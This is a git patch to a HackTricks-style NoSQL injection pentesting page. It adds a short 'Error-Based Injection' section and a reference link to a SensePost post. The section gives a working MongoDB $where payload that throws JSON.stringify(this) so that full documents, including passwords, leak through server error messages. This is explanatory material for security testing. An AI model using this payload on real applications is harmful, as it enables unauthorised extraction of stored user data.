From 5666497a0a6f6f32b5ec520fd34a6b7612729031 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Tue, 8 Jul 2025 18:42:50 +0200 Subject: [PATCH] Add content from: NoSQL Error-Based Injection --- src/pentesting-web/nosql-injection.md | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/src/pentesting-web/nosql-injection.md b/src/pentesting-web/nosql-injection.md index 5f151c8b0..a85459d50 100644 --- a/src/pentesting-web/nosql-injection.md +++ b/src/pentesting-web/nosql-injection.md @@ -126,6 +126,14 @@ It's possible to use [**$lookup**](https://www.mongodb.com/docs/manual/reference ] ``` +### Error-Based Injection + +Inject `throw new Error(JSON.stringify(this))` in a `$where` clause to exfiltrate full documents via server-side JavaScript errors (requires application to leak database errors). Example: + +```json +{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" } +``` + ## MongoDB Payloads List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt) @@ -253,6 +261,7 @@ for u in get_usernames(""): - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection) - [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/) - [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb) +- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/) {{#include ../banners/hacktricks-training.md}}